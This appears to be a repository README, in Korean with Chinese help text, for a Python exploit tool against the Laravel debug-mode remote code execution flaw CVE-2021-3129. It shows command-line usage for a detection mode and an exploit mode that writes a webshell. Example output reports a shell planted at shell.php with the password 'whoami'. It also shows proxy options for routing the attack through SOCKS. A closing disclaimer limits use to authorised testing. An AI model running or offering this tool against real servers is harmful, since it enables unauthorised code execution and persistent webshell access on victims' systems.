Laravel Debug mode RCE 취약점（CVE-2021-3129）poc / exp

CVE-2021-3129 exp / poc

주의⚠️: 해당 취약점의 이용 및 탐지는 여러 번의 요청을 전송하므로 이용 및 탐지 과정이 느려질 수 있습니다.
사용법:

python CVE-2021-3129.py
usage: python CVE-2021-3129.py -u [url] --exp

Laravel Debug mode RCE（CVE-2021-3129）POC & EXP

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     指定目标url地址
  -e, --exp             利用漏洞写入webshell，如不指定，则仅进行漏洞检测
  -p PROXY, --proxy PROXY
                        设置代理，如socks5://127.0.0.1:7890

예시:

# poc
python CVE-2021-3129.py -u http://xxxxx.com 
[✅]检测到漏洞！[🚩]url: http://xxxxx.com [❇️info]PHP版本:7.4.14 网站路径:/var/www/html 服务器地址:172.17.0.2 系统版本:Linux 8e172820ac78 4.4.0-142-generic #168~14.04.1-Ubunt6:28 UTC 2019 x86_64

# exp
python CVE-2021-3129.py -u http://xxxxx.com --exp                     
[✅]检测到漏洞！[🚩]url: http://xxxxx.com [❇️info]PHP版本:7.4.14 网站路径:/var/www/html 服务器地址:172.17.0.2 系统版本:Linux 8e172820ac78 4.4.0-142-generic #168~14.04.1-Ubunt6:28 UTC 2019 x86_64 
[OK] 成功写入webshell, 访问地址 http://xxxxx.com/shell.php , 密码 whoami

# proxy
python CVE-2021-3129.py -u http://xxxxx.com/ -p socks5://127.0.0.1:7890
python CVE-2021-3129.py -u http://xxxxx.com/ --exp -p socks5://127.0.0.1:7890

참고 링크
사용 시 유의사항
- 이 도구는 합법적으로 승인된 기업 보안 구축 행위만을 대상으로 합니다. 본 도구를 사용하여 탐지를 수행할 때 귀하는 해당 행위가 현지 법률 및 규정을 준수하고 충분한 승인을 받았는지 확인해야 합니다.
- 본 도구를 사용하는 과정에서 불법 행위가 있을 경우, 그에 따른 결과는 본인이 부담해야 합니다.

CVE-2021-3129-exp

인기